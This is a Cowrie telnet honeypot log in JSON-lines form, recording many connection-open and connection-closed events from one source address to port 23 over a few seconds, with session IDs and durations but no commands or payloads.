{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":38874,"dst_ip":"159.203.135.109","dst_port":23,"session":"62e42681e093","protocol":"telnet","message":"New connection: 174.142.104.49:38874 (159.203.135.109:23) [session: 62e42681e093]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:08.910215Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":42584,"dst_ip":"159.203.135.109","dst_port":23,"session":"d6fb24b87b5d","protocol":"telnet","message":"New connection: 174.142.104.49:42584 (159.203.135.109:23) [session: d6fb24b87b5d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.091513Z"}
{"eventid":"cowrie.session.closed","duration":31.34867835044861,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.132579Z","src_ip":"174.142.104.49","session":"149a56904001","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.573766946792603,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.171866Z","src_ip":"174.142.104.49","session":"4834575c466c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.32594919204712,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.340603Z","src_ip":"174.142.104.49","session":"e956831f0523","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44856,"dst_ip":"159.203.135.109","dst_port":23,"session":"dd0f2e7bdc9b","protocol":"telnet","message":"New connection: 174.142.104.49:44856 (159.203.135.109:23) [session: dd0f2e7bdc9b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.487941Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":45388,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6762e8c590b","protocol":"telnet","message":"New connection: 174.142.104.49:45388 (159.203.135.109:23) [session: e6762e8c590b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.766227Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43722,"dst_ip":"159.203.135.109","dst_port":23,"session":"27ad90740097","protocol":"telnet","message":"New connection: 174.142.104.49:43722 (159.203.135.109:23) [session: 27ad90740097]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:09.776569Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44488,"dst_ip":"159.203.135.109","dst_port":23,"session":"e969d422df5a","protocol":"telnet","message":"New connection: 174.142.104.49:44488 (159.203.135.109:23) [session: e969d422df5a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:10.282702Z"}
{"eventid":"cowrie.session.closed","duration":36.85052680969238,"message":"Connection lost after 36 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:10.395974Z","src_ip":"174.142.104.49","session":"5bfe7860a1c3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46388,"dst_ip":"159.203.135.109","dst_port":23,"session":"760f14802fd7","protocol":"telnet","message":"New connection: 174.142.104.49:46388 (159.203.135.109:23) [session: 760f14802fd7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:10.433406Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46468,"dst_ip":"159.203.135.109","dst_port":23,"session":"ee08ac6bfb2c","protocol":"telnet","message":"New connection: 174.142.104.49:46468 (159.203.135.109:23) [session: ee08ac6bfb2c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:10.472018Z"}
{"eventid":"cowrie.session.closed","duration":30.58914303779602,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:10.644075Z","src_ip":"174.142.104.49","session":"cbf41b908410","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.757383346557617,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:10.960619Z","src_ip":"174.142.104.49","session":"7dce9432e189","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":48576,"dst_ip":"159.203.135.109","dst_port":23,"session":"7d1f75663bce","protocol":"telnet","message":"New connection: 174.142.104.49:48576 (159.203.135.109:23) [session: 7d1f75663bce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:11.770680Z"}
{"eventid":"cowrie.session.closed","duration":31.387576580047607,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:11.775589Z","src_ip":"174.142.104.49","session":"f73e08b19468","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.418259382247925,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:11.945277Z","src_ip":"174.142.104.49","session":"b9d7db48706f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49014,"dst_ip":"159.203.135.109","dst_port":23,"session":"8aacb763290a","protocol":"telnet","message":"New connection: 174.142.104.49:49014 (159.203.135.109:23) [session: 8aacb763290a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.030880Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49036,"dst_ip":"159.203.135.109","dst_port":23,"session":"60c8d62890f9","protocol":"telnet","message":"New connection: 174.142.104.49:49036 (159.203.135.109:23) [session: 60c8d62890f9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.044021Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49212,"dst_ip":"159.203.135.109","dst_port":23,"session":"6c7e401145d3","protocol":"telnet","message":"New connection: 174.142.104.49:49212 (159.203.135.109:23) [session: 6c7e401145d3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.157473Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":49250,"dst_ip":"159.203.135.109","dst_port":23,"session":"e1b489646beb","protocol":"telnet","message":"New connection: 174.142.104.49:49250 (159.203.135.109:23) [session: e1b489646beb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.187488Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":47680,"dst_ip":"159.203.135.109","dst_port":23,"session":"e088cf7898e4","protocol":"telnet","message":"New connection: 174.142.104.49:47680 (159.203.135.109:23) [session: e088cf7898e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.265632Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":44498,"dst_ip":"159.203.135.109","dst_port":23,"session":"91a2997dcedc","protocol":"telnet","message":"New connection: 174.142.104.49:44498 (159.203.135.109:23) [session: 91a2997dcedc]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.286519Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":46344,"dst_ip":"159.203.135.109","dst_port":23,"session":"dddf3c3e7690","protocol":"telnet","message":"New connection: 174.142.104.49:46344 (159.203.135.109:23) [session: dddf3c3e7690]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.425593Z"}
{"eventid":"cowrie.session.closed","duration":30.99482011795044,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.724250Z","src_ip":"174.142.104.49","session":"5e49ac3ec797","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.39310336112976,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.842527Z","src_ip":"174.142.104.49","session":"a2246ca40848","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50302,"dst_ip":"159.203.135.109","dst_port":23,"session":"7b8981b54fec","protocol":"telnet","message":"New connection: 174.142.104.49:50302 (159.203.135.109:23) [session: 7b8981b54fec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:12.847207Z"}
{"eventid":"cowrie.session.closed","duration":31.47108793258667,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:13.657409Z","src_ip":"174.142.104.49","session":"13293789500d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.268863677978516,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:13.716505Z","src_ip":"174.142.104.49","session":"b0b569c5b18e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.48354744911194,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:13.956917Z","src_ip":"174.142.104.49","session":"2770d2c1dee2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":50582,"dst_ip":"159.203.135.109","dst_port":23,"session":"cf29ca851353","protocol":"telnet","message":"New connection: 174.142.104.49:50582 (159.203.135.109:23) [session: cf29ca851353]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.007925Z"}
{"eventid":"cowrie.session.closed","duration":30.59806990623474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.396250Z","src_ip":"174.142.104.49","session":"6e43b2b0af00","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.725039958953857,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.414613Z","src_ip":"174.142.104.49","session":"a47770412306","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":43.68331742286682,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.445522Z","src_ip":"174.142.104.49","session":"99dc0711d849","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51450,"dst_ip":"159.203.135.109","dst_port":23,"session":"b1304828f089","protocol":"telnet","message":"New connection: 174.142.104.49:51450 (159.203.135.109:23) [session: b1304828f089]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.554572Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53084,"dst_ip":"159.203.135.109","dst_port":23,"session":"b4a5e163a80d","protocol":"telnet","message":"New connection: 174.142.104.49:53084 (159.203.135.109:23) [session: b4a5e163a80d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.595622Z"}
{"eventid":"cowrie.session.closed","duration":30.51335334777832,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.606425Z","src_ip":"174.142.104.49","session":"b1262c0449fa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":39.141202449798584,"message":"Connection lost after 39 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.827731Z","src_ip":"174.142.104.49","session":"8e28a9cc57a4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53832,"dst_ip":"159.203.135.109","dst_port":23,"session":"8394a2fde45a","protocol":"telnet","message":"New connection: 174.142.104.49:53832 (159.203.135.109:23) [session: 8394a2fde45a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:14.966303Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53926,"dst_ip":"159.203.135.109","dst_port":23,"session":"bfb938fc87d2","protocol":"telnet","message":"New connection: 174.142.104.49:53926 (159.203.135.109:23) [session: bfb938fc87d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.024706Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54074,"dst_ip":"159.203.135.109","dst_port":23,"session":"833bc7e9915e","protocol":"telnet","message":"New connection: 174.142.104.49:54074 (159.203.135.109:23) [session: 833bc7e9915e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.121239Z"}
{"eventid":"cowrie.session.closed","duration":42.88789343833923,"message":"Connection lost after 42 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.133399Z","src_ip":"174.142.104.49","session":"ab8462282492","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54264,"dst_ip":"159.203.135.109","dst_port":23,"session":"7aa6930ab055","protocol":"telnet","message":"New connection: 174.142.104.49:54264 (159.203.135.109:23) [session: 7aa6930ab055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.230473Z"}
{"eventid":"cowrie.session.closed","duration":30.643099069595337,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.279094Z","src_ip":"174.142.104.49","session":"fca29957ad1a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.05816388130188,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.404260Z","src_ip":"174.142.104.49","session":"71a1ddd62945","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":52934,"dst_ip":"159.203.135.109","dst_port":23,"session":"f1f309f6017d","protocol":"telnet","message":"New connection: 174.142.104.49:52934 (159.203.135.109:23) [session: f1f309f6017d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.478508Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54770,"dst_ip":"159.203.135.109","dst_port":23,"session":"a24c1d06e188","protocol":"telnet","message":"New connection: 174.142.104.49:54770 (159.203.135.109:23) [session: a24c1d06e188]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.526509Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":53262,"dst_ip":"159.203.135.109","dst_port":23,"session":"f2aaf96ff191","protocol":"telnet","message":"New connection: 174.142.104.49:53262 (159.203.135.109:23) [session: f2aaf96ff191]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:15.647819Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54046,"dst_ip":"159.203.135.109","dst_port":23,"session":"c2697808cfbb","protocol":"telnet","message":"New connection: 174.142.104.49:54046 (159.203.135.109:23) [session: c2697808cfbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.098710Z"}
{"eventid":"cowrie.session.closed","duration":30.832071542739868,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.359693Z","src_ip":"174.142.104.49","session":"01ad9d8d8a3e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":55564,"dst_ip":"159.203.135.109","dst_port":23,"session":"b489cac1b3ef","protocol":"telnet","message":"New connection: 174.142.104.49:55564 (159.203.135.109:23) [session: b489cac1b3ef]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.521897Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":51378,"dst_ip":"159.203.135.109","dst_port":23,"session":"80481e499b74","protocol":"telnet","message":"New connection: 174.142.104.49:51378 (159.203.135.109:23) [session: 80481e499b74]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.586213Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":54988,"dst_ip":"159.203.135.109","dst_port":23,"session":"13ec710d734f","protocol":"telnet","message":"New connection: 174.142.104.49:54988 (159.203.135.109:23) [session: 13ec710d734f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.625652Z"}
{"eventid":"cowrie.session.closed","duration":30.9889657497406,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.960920Z","src_ip":"174.142.104.49","session":"5464fc08e464","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":75.4641809463501,"message":"Connection lost after 75 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:16.977776Z","src_ip":"174.142.104.49","session":"243cce0be2b7","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":41964,"dst_ip":"159.203.135.109","dst_port":23,"session":"d5bf2deacaf9","protocol":"telnet","message":"New connection: 174.142.104.49:41964 (159.203.135.109:23) [session: d5bf2deacaf9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:17.033767Z"}
{"eventid":"cowrie.session.closed","duration":77.78190660476685,"message":"Connection lost after 77 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:17.111855Z","src_ip":"174.142.104.49","session":"544825f4d8b6","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.938634395599365,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:17.200708Z","src_ip":"174.142.104.49","session":"bec7bf4e86b2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941461324691772,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:17.243470Z","src_ip":"174.142.104.49","session":"25dcb8262025","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.017510175704956,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:17.613250Z","src_ip":"174.142.104.49","session":"1a155af7c474","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.005005836486816,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:17.756227Z","src_ip":"174.142.104.49","session":"7286871ccc56","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.008017539978027,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.496607Z","src_ip":"174.142.104.49","session":"30c3121fbc2c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.956623792648315,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.707265Z","src_ip":"174.142.104.49","session":"e09d9ae4575e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59844,"dst_ip":"159.203.135.109","dst_port":23,"session":"9711e9253a24","protocol":"telnet","message":"New connection: 174.142.104.49:59844 (159.203.135.109:23) [session: 9711e9253a24]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.714000Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59860,"dst_ip":"159.203.135.109","dst_port":23,"session":"d8cccbc8a414","protocol":"telnet","message":"New connection: 174.142.104.49:59860 (159.203.135.109:23) [session: d8cccbc8a414]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.718418Z"}
{"eventid":"cowrie.session.closed","duration":31.013745069503784,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.759778Z","src_ip":"174.142.104.49","session":"b48bf6c9a55a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":43656,"dst_ip":"159.203.135.109","dst_port":23,"session":"1a578d04171a","protocol":"telnet","message":"New connection: 174.142.104.49:43656 (159.203.135.109:23) [session: 1a578d04171a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.825613Z"}
{"eventid":"cowrie.session.closed","duration":30.967106580734253,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:18.976735Z","src_ip":"174.142.104.49","session":"3ddc6cb95f7b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.151576280593872,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.006550Z","src_ip":"174.142.104.49","session":"2428c0eaf2ca","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.569925546646118,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.261876Z","src_ip":"174.142.104.49","session":"e15d19cb629c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.002505779266357,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.272094Z","src_ip":"174.142.104.49","session":"7452d26b942d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":59634,"dst_ip":"159.203.135.109","dst_port":23,"session":"6389b1592dd9","protocol":"telnet","message":"New connection: 174.142.104.49:59634 (159.203.135.109:23) [session: 6389b1592dd9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.596014Z"}
{"eventid":"cowrie.session.closed","duration":31.02625584602356,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.600481Z","src_ip":"174.142.104.49","session":"a5384ccdfc3c","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":56516,"dst_ip":"159.203.135.109","dst_port":23,"session":"f22e13ec1e58","protocol":"telnet","message":"New connection: 174.142.104.49:56516 (159.203.135.109:23) [session: f22e13ec1e58]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.657763Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":58618,"dst_ip":"159.203.135.109","dst_port":23,"session":"08aa4df95646","protocol":"telnet","message":"New connection: 174.142.104.49:58618 (159.203.135.109:23) [session: 08aa4df95646]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:19.977370Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":33900,"dst_ip":"159.203.135.109","dst_port":23,"session":"75e325b20b72","protocol":"telnet","message":"New connection: 174.142.104.49:33900 (159.203.135.109:23) [session: 75e325b20b72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.152733Z"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60592,"dst_ip":"159.203.135.109","dst_port":23,"session":"24a145aade72","protocol":"telnet","message":"New connection: 174.142.104.49:60592 (159.203.135.109:23) [session: 24a145aade72]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.169573Z"}
{"eventid":"cowrie.session.closed","duration":30.845100164413452,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.201836Z","src_ip":"174.142.104.49","session":"60ab96c47f1b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":57500,"dst_ip":"159.203.135.109","dst_port":23,"session":"d4b0bda84d2a","protocol":"telnet","message":"New connection: 174.142.104.49:57500 (159.203.135.109:23) [session: d4b0bda84d2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.238274Z"}
{"eventid":"cowrie.session.closed","duration":80.11885619163513,"message":"Connection lost after 80 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.320618Z","src_ip":"174.142.104.49","session":"af63d6d3127a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"174.142.104.49","src_port":60864,"dst_ip":"159.203.135.109","dst_port":23,"session":"4e725e808109","protocol":"telnet","message":"New connection: 174.142.104.49:60864 (159.203.135.109:23) [session: 4e725e808109]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.345611Z"}
{"eventid":"cowrie.session.closed","duration":30.791927099227905,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T06:46:20.367538Z","src_ip":"174.142.104.49","session":"0753d14a0f87","protocol":"telnet"}
